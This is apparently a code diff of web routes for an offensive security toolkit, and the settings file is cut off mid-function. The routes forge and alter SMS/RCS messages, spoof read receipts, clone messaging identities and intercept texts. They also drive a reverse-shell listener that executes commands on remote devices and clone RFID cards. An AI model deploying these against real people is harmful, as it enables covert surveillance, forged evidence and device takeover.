# ── Modification ─────────────────────────────────────────────────────────────
@rcs_tools_bp.route('/message/<int:msg_id>', methods=['PUT'])
@login_required
def modify_message(msg_id):
data = request.get_json(silent=True) or {}
return jsonify(_get_rcs().modify_message(
msg_id=msg_id,
new_body=data.get('body'),
new_timestamp=int(data['timestamp']) if data.get('timestamp') else None,
new_type=int(data['type']) if data.get('type') else None,
new_read=int(data['read']) if data.get('read') is not None else None,
))
@rcs_tools_bp.route('/message/<int:msg_id>', methods=['DELETE'])
@login_required
def delete_message(msg_id):
return jsonify(_get_rcs().delete_message(msg_id))
@rcs_tools_bp.route('/conversation/<int:thread_id>', methods=['DELETE'])
@login_required
def delete_conversation(thread_id):
return jsonify(_get_rcs().delete_conversation(thread_id))
@rcs_tools_bp.route('/shift-timestamps', methods=['POST'])
@login_required
def shift_timestamps():
data = request.get_json(silent=True) or {}
address = data.get('address', '')
offset = int(data.get('offset_minutes', 0))
if not address:
return jsonify({'ok': False, 'error': 'Missing address'})
return jsonify(_get_rcs().shift_timestamps(address, offset))
@rcs_tools_bp.route('/change-sender', methods=['POST'])
@login_required
def change_sender():
data = request.get_json(silent=True) or {}
msg_id = int(data.get('msg_id', 0))
new_address = data.get('new_address', '')
if not msg_id or not new_address:
return jsonify({'ok': False, 'error': 'Missing msg_id or new_address'})
return jsonify(_get_rcs().change_sender(msg_id, new_address))
@rcs_tools_bp.route('/mark-read', methods=['POST'])
@login_required
def mark_read():
data = request.get_json(silent=True) or {}
thread_id = data.get('thread_id')
tid = int(thread_id) if thread_id else None
return jsonify(_get_rcs().mark_all_read(tid))
@rcs_tools_bp.route('/wipe-thread', methods=['POST'])
@login_required
def wipe_thread():
data = request.get_json(silent=True) or {}
thread_id = int(data.get('thread_id', 0))
if not thread_id:
return jsonify({'ok': False, 'error': 'Missing thread_id'})
return jsonify(_get_rcs().wipe_thread(thread_id))
# ── RCS Exploitation ────────────────────────────────────────────────────────
@rcs_tools_bp.route('/rcs-features/<address>')
@login_required
def rcs_features(address):
return jsonify(_get_rcs().read_rcs_features(address))
@rcs_tools_bp.route('/rcs-spoof-read', methods=['POST'])
@login_required
def rcs_spoof_read():
data = request.get_json(silent=True) or {}
msg_id = data.get('msg_id', '')
if not msg_id:
return jsonify({'ok': False, 'error': 'Missing msg_id'})
return jsonify(_get_rcs().spoof_rcs_read_receipt(str(msg_id)))
@rcs_tools_bp.route('/rcs-spoof-typing', methods=['POST'])
@login_required
def rcs_spoof_typing():
data = request.get_json(silent=True) or {}
address = data.get('address', '')
if not address:
return jsonify({'ok': False, 'error': 'Missing address'})
return jsonify(_get_rcs().spoof_rcs_typing(address))
@rcs_tools_bp.route('/clone-identity', methods=['POST'])
@login_required
def clone_identity():
return jsonify(_get_rcs().clone_rcs_identity())
@rcs_tools_bp.route('/extract-media', methods=['POST'])
@login_required
def extract_media():
data = request.get_json(silent=True) or {}
msg_id = data.get('msg_id', '')
if not msg_id:
return jsonify({'ok': False, 'error': 'Missing msg_id'})
return jsonify(_get_rcs().extract_rcs_media(str(msg_id)))
@rcs_tools_bp.route('/intercept-archival', methods=['POST'])
@login_required
def intercept_archival():
return jsonify(_get_rcs().intercept_archival_broadcast())
@rcs_tools_bp.route('/cve-database')
@login_required
def cve_database():
return jsonify(_get_rcs().get_rcs_cve_database())
# ── SMS/RCS Monitor ─────────────────────────────────────────────────────────
@rcs_tools_bp.route('/monitor/start', methods=['POST'])
@login_required
def monitor_start():
return jsonify(_get_rcs().start_sms_monitor())
@rcs_tools_bp.route('/monitor/stop', methods=['POST'])
@login_required
def monitor_stop():
return jsonify(_get_rcs().stop_sms_monitor())
@rcs_tools_bp.route('/monitor/messages')
@login_required
def monitor_messages():
return jsonify(_get_rcs().get_intercepted_messages())
@rcs_tools_bp.route('/monitor/clear', methods=['POST'])
@login_required
def monitor_clear():
return jsonify(_get_rcs().clear_intercepted())
@rcs_tools_bp.route('/forged-log')
@login_required
def forged_log():
return jsonify({'ok': True, 'log': _get_rcs().get_forged_log()})
@rcs_tools_bp.route('/forged-log/clear', methods=['POST'])
@login_required
def clear_forged_log():
return jsonify(_get_rcs().clear_forged_log())
# ── Archon Integration ──────────────────────────────────────────────────────
@rcs_tools_bp.route('/archon/extract', methods=['POST'])
@login_required
def archon_extract():
return jsonify(_get_rcs().archon_extract_bugle())
@rcs_tools_bp.route('/archon/forge-rcs', methods=['POST'])
@login_required
def archon_forge_rcs():
data = request.get_json(silent=True) or {}
return jsonify(_get_rcs().archon_forge_rcs(
address=data.get('address', ''),
body=data.get('body', ''),
direction=data.get('direction', 'incoming'),
))
@rcs_tools_bp.route('/archon/modify-rcs', methods=['POST'])
@login_required
def archon_modify_rcs():
data = request.get_json(silent=True) or {}
msg_id = int(data.get('msg_id', 0))
body = data.get('body', '')
if not msg_id or not body:
return jsonify({'ok': False, 'error': 'Missing msg_id or body'})
return jsonify(_get_rcs().archon_modify_rcs(msg_id, body))
@rcs_tools_bp.route('/archon/threads')
@login_required
def archon_threads():
return jsonify(_get_rcs().archon_get_rcs_threads())
@rcs_tools_bp.route('/archon/backup', methods=['POST'])
@login_required
def archon_backup():
return jsonify(_get_rcs().archon_backup_all())
@rcs_tools_bp.route('/archon/set-default', methods=['POST'])
@login_required
def archon_set_default():
return jsonify(_get_rcs().archon_set_default_sms())

108
web/routes/report_engine.py Normal file
View File

@@ -0,0 +1,108 @@
"""Reporting Engine — web routes for pentest report management."""
from flask import Blueprint, render_template, request, jsonify, Response
from web.auth import login_required
report_engine_bp = Blueprint('report_engine', __name__)
def _svc():
from modules.report_engine import get_report_engine
return get_report_engine()
@report_engine_bp.route('/reports/')
@login_required
def index():
return render_template('report_engine.html')
@report_engine_bp.route('/reports/list', methods=['GET'])
@login_required
def list_reports():
return jsonify({'ok': True, 'reports': _svc().list_reports()})
@report_engine_bp.route('/reports/create', methods=['POST'])
@login_required
def create_report():
data = request.get_json(silent=True) or {}
return jsonify(_svc().create_report(
title=data.get('title', 'Untitled Report'),
client=data.get('client', ''),
scope=data.get('scope', ''),
methodology=data.get('methodology', ''),
))
@report_engine_bp.route('/reports/<report_id>', methods=['GET'])
@login_required
def get_report(report_id):
r = _svc().get_report(report_id)
if not r:
return jsonify({'ok': False, 'error': 'Report not found'})
return jsonify({'ok': True, 'report': r})
@report_engine_bp.route('/reports/<report_id>', methods=['PUT'])
@login_required
def update_report(report_id):
data = request.get_json(silent=True) or {}
return jsonify(_svc().update_report(report_id, data))
@report_engine_bp.route('/reports/<report_id>', methods=['DELETE'])
@login_required
def delete_report(report_id):
return jsonify(_svc().delete_report(report_id))
@report_engine_bp.route('/reports/<report_id>/findings', methods=['POST'])
@login_required
def add_finding(report_id):
data = request.get_json(silent=True) or {}
return jsonify(_svc().add_finding(report_id, data))
@report_engine_bp.route('/reports/<report_id>/findings/<finding_id>', methods=['PUT'])
@login_required
def update_finding(report_id, finding_id):
data = request.get_json(silent=True) or {}
return jsonify(_svc().update_finding(report_id, finding_id, data))
@report_engine_bp.route('/reports/<report_id>/findings/<finding_id>', methods=['DELETE'])
@login_required
def delete_finding(report_id, finding_id):
return jsonify(_svc().delete_finding(report_id, finding_id))
@report_engine_bp.route('/reports/templates', methods=['GET'])
@login_required
def finding_templates():
return jsonify({'ok': True, 'templates': _svc().get_finding_templates()})
@report_engine_bp.route('/reports/<report_id>/export/<fmt>', methods=['GET'])
@login_required
def export_report(report_id, fmt):
svc = _svc()
if fmt == 'html':
content = svc.export_html(report_id)
if not content:
return jsonify({'ok': False, 'error': 'Report not found'})
return Response(content, mimetype='text/html',
headers={'Content-Disposition': f'attachment; filename=report_{report_id}.html'})
elif fmt == 'markdown':
content = svc.export_markdown(report_id)
if not content:
return jsonify({'ok': False, 'error': 'Report not found'})
return Response(content, mimetype='text/markdown',
headers={'Content-Disposition': f'attachment; filename=report_{report_id}.md'})
elif fmt == 'json':
content = svc.export_json(report_id)
if not content:
return jsonify({'ok': False, 'error': 'Report not found'})
return Response(content, mimetype='application/json',
headers={'Content-Disposition': f'attachment; filename=report_{report_id}.json'})
return jsonify({'ok': False, 'error': 'Invalid format'})

200
web/routes/reverse_eng.py Normal file
View File

@@ -0,0 +1,200 @@
"""Reverse Engineering routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
reverse_eng_bp = Blueprint('reverse_eng', __name__, url_prefix='/reverse-eng')
def _get_re():
from modules.reverse_eng import get_reverse_eng
return get_reverse_eng()
# ==================== PAGE ====================
@reverse_eng_bp.route('/')
@login_required
def index():
return render_template('reverse_eng.html')
# ==================== ANALYSIS ====================
@reverse_eng_bp.route('/analyze', methods=['POST'])
@login_required
def analyze():
"""Comprehensive binary analysis."""
data = request.get_json(silent=True) or {}
file_path = data.get('file', '').strip()
if not file_path:
return jsonify({'error': 'No file path provided'}), 400
result = _get_re().analyze_binary(file_path)
return jsonify(result)
@reverse_eng_bp.route('/strings', methods=['POST'])
@login_required
def strings():
"""Extract strings from binary."""
data = request.get_json(silent=True) or {}
file_path = data.get('file', '').strip()
if not file_path:
return jsonify({'error': 'No file path provided'}), 400
min_length = int(data.get('min_length', 4))
encoding = data.get('encoding', 'both')
result = _get_re().extract_strings(file_path, min_length=min_length, encoding=encoding)
return jsonify({'strings': result, 'total': len(result)})
# ==================== DISASSEMBLY ====================
@reverse_eng_bp.route('/disassemble', methods=['POST'])
@login_required
def disassemble():
"""Disassemble binary data or file."""
data = request.get_json(silent=True) or {}
file_path = data.get('file', '').strip()
hex_data = data.get('hex', '').strip()
arch = data.get('arch', 'x64')
count = int(data.get('count', 100))
section = data.get('section', '.text')
if hex_data:
try:
raw = bytes.fromhex(hex_data.replace(' ', '').replace('\n', ''))
except ValueError:
return jsonify({'error': 'Invalid hex data'}), 400
instructions = _get_re().disassemble(raw, arch=arch, count=count)
elif file_path:
offset = int(data.get('offset', 0))
instructions = _get_re().disassemble_file(
file_path, section=section, offset=offset, count=count)
else:
return jsonify({'error': 'Provide file path or hex data'}), 400
return jsonify({'instructions': instructions, 'total': len(instructions)})
# ==================== HEX ====================
@reverse_eng_bp.route('/hex', methods=['POST'])
@login_required
def hex_dump():
"""Hex dump of file region."""
data = request.get_json(silent=True) or {}
file_path = data.get('file', '').strip()
if not file_path:
return jsonify({'error': 'No file path provided'}), 400
offset = int(data.get('offset', 0))
length = int(data.get('length', 256))
length = min(length, 65536) # Cap at 64KB
result = _get_re().hex_dump(file_path, offset=offset, length=length)
return jsonify(result)
@reverse_eng_bp.route('/hex/search', methods=['POST'])
@login_required
def hex_search():
"""Search for hex pattern in binary."""
data = request.get_json(silent=True) or {}
file_path = data.get('file', '').strip()
pattern = data.get('pattern', '').strip()
if not file_path or not pattern:
return jsonify({'error': 'File path and pattern required'}), 400
result = _get_re().hex_search(file_path, pattern)
return jsonify(result)
# ==================== YARA ====================
@reverse_eng_bp.route('/yara/scan', methods=['POST'])
@login_required
def yara_scan():
"""Scan file with YARA rules."""
data = request.get_json(silent=True) or {}
file_path = data.get('file', '').strip()
if not file_path:
return jsonify({'error': 'No file path provided'}), 400
rules_path = data.get('rules_path') or None
rules_string = data.get('rules_string') or None
result = _get_re().yara_scan(file_path, rules_path=rules_path, rules_string=rules_string)
return jsonify(result)
@reverse_eng_bp.route('/yara/rules')
@login_required
def yara_rules():
"""List available YARA rule files."""
rules = _get_re().list_yara_rules()
return jsonify({'rules': rules, 'total': len(rules)})
# ==================== PACKER ====================
@reverse_eng_bp.route('/packer', methods=['POST'])
@login_required
def packer():
"""Detect packer in binary."""
data = request.get_json(silent=True) or {}
file_path = data.get('file', '').strip()
if not file_path:
return jsonify({'error': 'No file path provided'}), 400
result = _get_re().detect_packer(file_path)
return jsonify(result)
# ==================== COMPARE ====================
@reverse_eng_bp.route('/compare', methods=['POST'])
@login_required
def compare():
"""Compare two binaries."""
data = request.get_json(silent=True) or {}
file1 = data.get('file1', '').strip()
file2 = data.get('file2', '').strip()
if not file1 or not file2:
return jsonify({'error': 'Two file paths required'}), 400
result = _get_re().compare_binaries(file1, file2)
return jsonify(result)
# ==================== DECOMPILE ====================
@reverse_eng_bp.route('/decompile', methods=['POST'])
@login_required
def decompile():
"""Decompile binary with Ghidra headless."""
data = request.get_json(silent=True) or {}
file_path = data.get('file', '').strip()
if not file_path:
return jsonify({'error': 'No file path provided'}), 400
function = data.get('function') or None
result = _get_re().ghidra_decompile(file_path, function=function)
return jsonify(result)
# ==================== PE / ELF PARSING ====================
@reverse_eng_bp.route('/pe', methods=['POST'])
@login_required
def parse_pe():
"""Parse PE headers."""
data = request.get_json(silent=True) or {}
file_path = data.get('file', '').strip()
if not file_path:
return jsonify({'error': 'No file path provided'}), 400
result = _get_re().parse_pe(file_path)
return jsonify(result)
@reverse_eng_bp.route('/elf', methods=['POST'])
@login_required
def parse_elf():
"""Parse ELF headers."""
data = request.get_json(silent=True) or {}
file_path = data.get('file', '').strip()
if not file_path:
return jsonify({'error': 'No file path provided'}), 400
result = _get_re().parse_elf(file_path)
return jsonify(result)

274
web/routes/revshell.py Normal file
View File

@@ -0,0 +1,274 @@
"""Reverse Shell routes — listener management, session control, command execution."""
import base64
import io
from flask import Blueprint, render_template, request, jsonify, send_file, Response
from web.auth import login_required
revshell_bp = Blueprint('revshell', __name__, url_prefix='/revshell')
def _listener():
from core.revshell import get_listener
return get_listener()
def _json():
return request.get_json(silent=True) or {}
# ── Main Page ────────────────────────────────────────────────────────
@revshell_bp.route('/')
@login_required
def index():
listener = _listener()
return render_template('revshell.html',
running=listener.running,
token=listener.auth_token,
port=listener.port,
sessions=listener.list_sessions())
# ── Listener Control ─────────────────────────────────────────────────
@revshell_bp.route('/listener/start', methods=['POST'])
@login_required
def listener_start():
data = _json()
port = data.get('port', 17322)
token = data.get('token', None)
host = data.get('host', '0.0.0.0')
from core.revshell import start_listener
ok, msg = start_listener(host=host, port=int(port), token=token)
return jsonify({'success': ok, 'message': msg, 'token': _listener().auth_token})
@revshell_bp.route('/listener/stop', methods=['POST'])
@login_required
def listener_stop():
from core.revshell import stop_listener
stop_listener()
return jsonify({'success': True, 'message': 'Listener stopped'})
@revshell_bp.route('/listener/status', methods=['POST'])
@login_required
def listener_status():
listener = _listener()
return jsonify({
'running': listener.running,
'port': listener.port,
'token': listener.auth_token,
'host': listener.host,
'session_count': len(listener.active_sessions),
})
# ── Sessions ─────────────────────────────────────────────────────────
@revshell_bp.route('/sessions', methods=['POST'])
@login_required
def list_sessions():
return jsonify({'sessions': _listener().list_sessions()})
@revshell_bp.route('/session/<sid>/disconnect', methods=['POST'])
@login_required
def disconnect_session(sid):
_listener().remove_session(sid)
return jsonify({'success': True, 'message': f'Session {sid} disconnected'})
@revshell_bp.route('/session/<sid>/info', methods=['POST'])
@login_required
def session_info(sid):
session = _listener().get_session(sid)
if not session or not session.alive:
return jsonify({'success': False, 'message': 'Session not found or dead'})
return jsonify({'success': True, 'session': session.to_dict()})
# ── Command Execution ────────────────────────────────────────────────
@revshell_bp.route('/session/<sid>/execute', methods=['POST'])
@login_required
def execute_command(sid):
session = _listener().get_session(sid)
if not session or not session.alive:
return jsonify({'success': False, 'message': 'Session not found or dead'})
data = _json()
cmd = data.get('cmd', '')
timeout = data.get('timeout', 30)
if not cmd:
return jsonify({'success': False, 'message': 'No command specified'})
result = session.execute(cmd, timeout=int(timeout))
return jsonify({
'success': result['exit_code'] == 0,
'stdout': result['stdout'],
'stderr': result['stderr'],
'exit_code': result['exit_code'],
})
# ── Special Commands ─────────────────────────────────────────────────
@revshell_bp.route('/session/<sid>/sysinfo', methods=['POST'])
@login_required
def device_sysinfo(sid):
session = _listener().get_session(sid)
if not session or not session.alive:
return jsonify({'success': False, 'message': 'Session not found or dead'})
result = session.sysinfo()
return jsonify({'success': result['exit_code'] == 0, **result})
@revshell_bp.route('/session/<sid>/packages', methods=['POST'])
@login_required
def device_packages(sid):
session = _listener().get_session(sid)
if not session or not session.alive:
return jsonify({'success': False, 'message': 'Session not found or dead'})
result = session.packages()
return jsonify({'success': result['exit_code'] == 0, **result})
@revshell_bp.route('/session/<sid>/screenshot', methods=['POST'])
@login_required
def device_screenshot(sid):
listener = _listener()
filepath = listener.save_screenshot(sid)
if filepath:
return jsonify({'success': True, 'path': filepath})
return jsonify({'success': False, 'message': 'Screenshot failed'})
@revshell_bp.route('/session/<sid>/screenshot/view', methods=['GET'])
@login_required
def view_screenshot(sid):
session = _listener().get_session(sid)
if not session or not session.alive:
return 'Session not found', 404
png_data = session.screenshot()
if not png_data:
return 'Screenshot failed', 500
return send_file(io.BytesIO(png_data), mimetype='image/png',
download_name=f'screenshot_{sid}.png')
@revshell_bp.route('/session/<sid>/processes', methods=['POST'])
@login_required
def device_processes(sid):
session = _listener().get_session(sid)
if not session or not session.alive:
return jsonify({'success': False, 'message': 'Session not found or dead'})
result = session.processes()
return jsonify({'success': result['exit_code'] == 0, **result})
@revshell_bp.route('/session/<sid>/netstat', methods=['POST'])
@login_required
def device_netstat(sid):
session = _listener().get_session(sid)
if not session or not session.alive:
return jsonify({'success': False, 'message': 'Session not found or dead'})
result = session.netstat()
return jsonify({'success': result['exit_code'] == 0, **result})
@revshell_bp.route('/session/<sid>/logcat', methods=['POST'])
@login_required
def device_logcat(sid):
session = _listener().get_session(sid)
if not session or not session.alive:
return jsonify({'success': False, 'message': 'Session not found or dead'})
data = _json()
lines = data.get('lines', 100)
result = session.dumplog(lines=int(lines))
return jsonify({'success': result['exit_code'] == 0, **result})
@revshell_bp.route('/session/<sid>/download', methods=['POST'])
@login_required
def download_file(sid):
session = _listener().get_session(sid)
if not session or not session.alive:
return jsonify({'success': False, 'message': 'Session not found or dead'})
data = _json()
remote_path = data.get('path', '')
if not remote_path:
return jsonify({'success': False, 'message': 'No path specified'})
filepath = _listener().save_download(sid, remote_path)
if filepath:
return jsonify({'success': True, 'path': filepath})
return jsonify({'success': False, 'message': 'Download failed'})
@revshell_bp.route('/session/<sid>/upload', methods=['POST'])
@login_required
def upload_file(sid):
session = _listener().get_session(sid)
if not session or not session.alive:
return jsonify({'success': False, 'message': 'Session not found or dead'})
remote_path = request.form.get('path', '')
if not remote_path:
return jsonify({'success': False, 'message': 'No remote path specified'})
uploaded = request.files.get('file')
if not uploaded:
return jsonify({'success': False, 'message': 'No file uploaded'})
# Save temp, upload, cleanup
import tempfile
tmp = tempfile.NamedTemporaryFile(delete=False)
try:
uploaded.save(tmp.name)
result = session.upload(tmp.name, remote_path)
return jsonify({
'success': result['exit_code'] == 0,
'stdout': result['stdout'],
'stderr': result['stderr'],
})
finally:
try:
import os
os.unlink(tmp.name)
except Exception:
pass
# ── SSE Stream for Interactive Shell ─────────────────────────────────
@revshell_bp.route('/session/<sid>/stream')
@login_required
def shell_stream(sid):
"""SSE endpoint for streaming command output."""
session = _listener().get_session(sid)
if not session or not session.alive:
return 'Session not found', 404
def generate():
yield f"data: {jsonify_str({'type': 'connected', 'session': session.to_dict()})}\n\n"
# The stream stays open; the client sends commands via POST /execute
# and reads results. This SSE is mainly for status updates.
while session.alive:
import time
time.sleep(5)
yield f"data: {jsonify_str({'type': 'heartbeat', 'alive': session.alive, 'uptime': int(session.uptime)})}\n\n"
yield f"data: {jsonify_str({'type': 'disconnected'})}\n\n"
return Response(generate(), mimetype='text/event-stream',
headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'})
def jsonify_str(obj):
"""JSON serialize without Flask response wrapper."""
import json
return json.dumps(obj)

90
web/routes/rfid_tools.py Normal file
View File

@@ -0,0 +1,90 @@
"""RFID/NFC Tools routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
rfid_tools_bp = Blueprint('rfid_tools', __name__, url_prefix='/rfid')
def _get_mgr():
from modules.rfid_tools import get_rfid_manager
return get_rfid_manager()
@rfid_tools_bp.route('/')
@login_required
def index():
return render_template('rfid_tools.html')
@rfid_tools_bp.route('/tools')
@login_required
def tools_status():
return jsonify(_get_mgr().get_tools_status())
@rfid_tools_bp.route('/lf/search', methods=['POST'])
@login_required
def lf_search():
return jsonify(_get_mgr().lf_search())
@rfid_tools_bp.route('/lf/read/em410x', methods=['POST'])
@login_required
def lf_read_em():
return jsonify(_get_mgr().lf_read_em410x())
@rfid_tools_bp.route('/lf/clone', methods=['POST'])
@login_required
def lf_clone():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().lf_clone_em410x(data.get('card_id', '')))
@rfid_tools_bp.route('/lf/sim', methods=['POST'])
@login_required
def lf_sim():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().lf_sim_em410x(data.get('card_id', '')))
@rfid_tools_bp.route('/hf/search', methods=['POST'])
@login_required
def hf_search():
return jsonify(_get_mgr().hf_search())
@rfid_tools_bp.route('/hf/dump', methods=['POST'])
@login_required
def hf_dump():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().hf_dump_mifare(data.get('keys_file')))
@rfid_tools_bp.route('/hf/clone', methods=['POST'])
@login_required
def hf_clone():
data = request.get_json(silent=True) or {}
return jsonify(_get_mgr().hf_clone_mifare(data.get('dump_file', '')))
@rfid_tools_bp.route('/nfc/scan', methods=['POST'])
@login_required
def nfc_scan():
return jsonify(_get_mgr().nfc_scan())
@rfid_tools_bp.route('/cards', methods=['GET', 'POST', 'DELETE'])
@login_required
def cards():
mgr = _get_mgr()
if request.method == 'POST':
data = request.get_json(silent=True) or {}
return jsonify(mgr.save_card(data.get('card', {}), data.get('name')))
elif request.method == 'DELETE':
data = request.get_json(silent=True) or {}
return jsonify(mgr.delete_card(data.get('index', -1)))
return jsonify(mgr.get_saved_cards())
@rfid_tools_bp.route('/dumps')
@login_required
def dumps():
return jsonify(_get_mgr().list_dumps())
@rfid_tools_bp.route('/keys')
@login_required
def default_keys():
return jsonify(_get_mgr().get_default_keys())
@rfid_tools_bp.route('/types')
@login_required
def card_types():
return jsonify(_get_mgr().get_card_types())

183
web/routes/sdr_tools.py Normal file
View File

@@ -0,0 +1,183 @@
"""SDR/RF Tools routes."""
from flask import Blueprint, request, jsonify, render_template
from web.auth import login_required
sdr_tools_bp = Blueprint('sdr_tools', __name__, url_prefix='/sdr-tools')
def _get_sdr():
from modules.sdr_tools import get_sdr_tools
return get_sdr_tools()
@sdr_tools_bp.route('/')
@login_required
def index():
return render_template('sdr_tools.html')
@sdr_tools_bp.route('/devices')
@login_required
def devices():
return jsonify({'devices': _get_sdr().detect_devices()})
@sdr_tools_bp.route('/spectrum', methods=['POST'])
@login_required
def spectrum():
data = request.get_json(silent=True) or {}
freq_start = int(data.get('freq_start', 88000000))
freq_end = int(data.get('freq_end', 108000000))
step = int(data['step']) if data.get('step') else None
gain = int(data['gain']) if data.get('gain') else None
duration = int(data.get('duration', 5))
device = data.get('device', 'rtl')
result = _get_sdr().scan_spectrum(
device=device, freq_start=freq_start, freq_end=freq_end,
step=step, gain=gain, duration=duration
)
return jsonify(result)
@sdr_tools_bp.route('/capture/start', methods=['POST'])
@login_required
def capture_start():
data = request.get_json(silent=True) or {}
result = _get_sdr().start_capture(
device=data.get('device', 'rtl'),
frequency=int(data.get('frequency', 100000000)),
sample_rate=int(data.get('sample_rate', 2048000)),
gain=data.get('gain', 'auto'),
duration=int(data.get('duration', 10)),
output=data.get('output'),
)
return jsonify(result)
@sdr_tools_bp.route('/capture/stop', methods=['POST'])
@login_required
def capture_stop():
return jsonify(_get_sdr().stop_capture())
@sdr_tools_bp.route('/recordings')
@login_required
def recordings():
return jsonify({'recordings': _get_sdr().list_recordings()})
@sdr_tools_bp.route('/recordings/<rec_id>', methods=['DELETE'])
@login_required
def recording_delete(rec_id):
return jsonify(_get_sdr().delete_recording(rec_id))
@sdr_tools_bp.route('/replay', methods=['POST'])
@login_required
def replay():
data = request.get_json(silent=True) or {}
file_path = data.get('file', '')
frequency = int(data.get('frequency', 100000000))
sample_rate = int(data.get('sample_rate', 2048000))
gain = int(data.get('gain', 47))
return jsonify(_get_sdr().replay_signal(file_path, frequency, sample_rate, gain))
@sdr_tools_bp.route('/demod/fm', methods=['POST'])
@login_required
def demod_fm():
data = request.get_json(silent=True) or {}
file_path = data.get('file', '')
frequency = int(data['frequency']) if data.get('frequency') else None
return jsonify(_get_sdr().demodulate_fm(file_path, frequency))
@sdr_tools_bp.route('/demod/am', methods=['POST'])
@login_required
def demod_am():
data = request.get_json(silent=True) or {}
file_path = data.get('file', '')
frequency = int(data['frequency']) if data.get('frequency') else None
return jsonify(_get_sdr().demodulate_am(file_path, frequency))
@sdr_tools_bp.route('/adsb/start', methods=['POST'])
@login_required
def adsb_start():
data = request.get_json(silent=True) or {}
return jsonify(_get_sdr().start_adsb(device=data.get('device', 'rtl')))
@sdr_tools_bp.route('/adsb/stop', methods=['POST'])
@login_required
def adsb_stop():
return jsonify(_get_sdr().stop_adsb())
@sdr_tools_bp.route('/adsb/aircraft')
@login_required
def adsb_aircraft():
return jsonify({'aircraft': _get_sdr().get_adsb_aircraft()})
@sdr_tools_bp.route('/gps/detect', methods=['POST'])
@login_required
def gps_detect():
data = request.get_json(silent=True) or {}
duration = int(data.get('duration', 30))
return jsonify(_get_sdr().detect_gps_spoofing(duration))
@sdr_tools_bp.route('/analyze', methods=['POST'])
@login_required
def analyze():
data = request.get_json(silent=True) or {}
file_path = data.get('file', '')
return jsonify(_get_sdr().analyze_signal(file_path))
@sdr_tools_bp.route('/frequencies')
@login_required
def frequencies():
return jsonify(_get_sdr().get_common_frequencies())
@sdr_tools_bp.route('/status')
@login_required
def status():
return jsonify(_get_sdr().get_status())
# ── Drone Detection Routes ──────────────────────────────────────────────────
@sdr_tools_bp.route('/drone/start', methods=['POST'])
@login_required
def drone_start():
data = request.get_json(silent=True) or {}
result = _get_sdr().start_drone_detection(data.get('device', 'rtl'), data.get('duration', 0))
return jsonify(result)
@sdr_tools_bp.route('/drone/stop', methods=['POST'])
@login_required
def drone_stop():
return jsonify(_get_sdr().stop_drone_detection())
@sdr_tools_bp.route('/drone/detections')
@login_required
def drone_detections():
return jsonify({'detections': _get_sdr().get_drone_detections()})
@sdr_tools_bp.route('/drone/clear', methods=['DELETE'])
@login_required
def drone_clear():
_get_sdr().clear_drone_detections()
return jsonify({'ok': True})
@sdr_tools_bp.route('/drone/status')
@login_required
def drone_status():
return jsonify({'detecting': _get_sdr().is_drone_detecting(), 'count': len(_get_sdr().get_drone_detections())})

608
web/routes/settings.py Normal file
View File

@@ -0,0 +1,608 @@
"""Settings route"""
import collections
import json
import logging
import os
import platform
import re
import subprocess
import threading
import time
from pathlib import Path
from flask import Blueprint, render_template, request, redirect, url_for, flash, jsonify, current_app, Response
from web.auth import login_required, hash_password, save_credentials, load_credentials
# ── Debug Console infrastructure ─────────────────────────────────────────────
_debug_buffer: collections.deque = collections.deque(maxlen=2000)
_debug_enabled: bool = False
_debug_handler_installed: bool = False
class _DebugBufferHandler(logging.Handler):
"""Captures log records into the in-memory debug buffer."""
def emit(self, record: logging.LogRecord) -> None:
if not _debug_enabled:
return
try:
entry: dict = {
'ts': record.created,
'level': record.levelname,
'name': record.name,
'raw': record.getMessage(),
'msg': self.format(record),
}
if record.exc_info:
import traceback as _tb
entry['exc'] = ''.join(_tb.format_exception(*record.exc_info))
_debug_buffer.append(entry)
except Exception:
pass
def _ensure_debug_handler() -> None:
global _debug_handler_installed
if _debug_handler_installed:
return
handler = _DebugBufferHandler()
handler.setLevel(logging.DEBUG)
handler.setFormatter(logging.Formatter('%(name)s%(message)s'))
root = logging.getLogger()
root.addHandler(handler)
# Lower root level to DEBUG so records reach the handler
if root.level == logging.NOTSET or root.level > logging.DEBUG:
root.setLevel(logging.DEBUG)
_debug_handler_installed = True
settings_bp = Blueprint('settings', __name__, url_prefix='/settings')
@settings_bp.route('/')
@login_required
def index():
config = current_app.autarch_config
return render_template('settings.html',
llm_backend=config.get('autarch', 'llm_backend', 'local'),
llama=config.get_llama_settings(),
transformers=config.get_transformers_settings(),
claude=config.get_claude_settings(),
huggingface=config.get_huggingface_settings(),
osint=config.get_osint_settings(),
pentest=config.get_pentest_settings(),
upnp=config.get_upnp_settings(),
debug_enabled=_debug_enabled,
)
@settings_bp.route('/password', methods=['POST'])
@login_required
def change_password():
new_pass = request.form.get('new_password', '')
confirm = request.form.get('confirm_password', '')
if not new_pass or len(new_pass) < 4:
flash('Password must be at least 4 characters.', 'error')
return redirect(url_for('settings.index'))
if new_pass != confirm:
flash('Passwords do not match.', 'error')
return redirect(url_for('settings.index'))
creds = load_credentials()
save_credentials(creds['username'], hash_password(new_pass), force_change=False)
flash('Password updated.', 'success')
return redirect(url_for('settings.index'))
@settings_bp.route('/osint', methods=['POST'])
@login_required
def update_osint():
config = current_app.autarch_config
config.set('osint', 'max_threads', request.form.get('max_threads', '8'))
config.set('osint', 'timeout', request.form.get('timeout', '8'))
config.set('osint', 'include_nsfw', 'true' if request.form.get('include_nsfw') else 'false')
config.save()
flash('OSINT settings updated.', 'success')
return redirect(url_for('settings.index'))
@settings_bp.route('/upnp', methods=['POST'])
@login_required
def update_upnp():
config = current_app.autarch_config
config.set('upnp', 'enabled', 'true' if request.form.get('enabled') else 'false')
config.set('upnp', 'internal_ip', request.form.get('internal_ip', '10.0.0.26'))
config.set('upnp', 'refresh_hours', request.form.get('refresh_hours', '12'))
config.set('upnp', 'mappings', request.form.get('mappings', ''))
config.save()
flash('UPnP settings updated.', 'success')
return redirect(url_for('settings.index'))
@settings_bp.route('/llm', methods=['POST'])
@login_required
def update_llm():
config = current_app.autarch_config
backend = request.form.get('backend', 'local')
if backend == 'local':
config.set('llama', 'model_path', request.form.get('model_path', ''))
config.set('llama', 'n_ctx', request.form.get('n_ctx', '4096'))
config.set('llama', 'n_threads', request.form.get('n_threads', '4'))
config.set('llama', 'n_gpu_layers', request.form.get('n_gpu_layers', '0'))
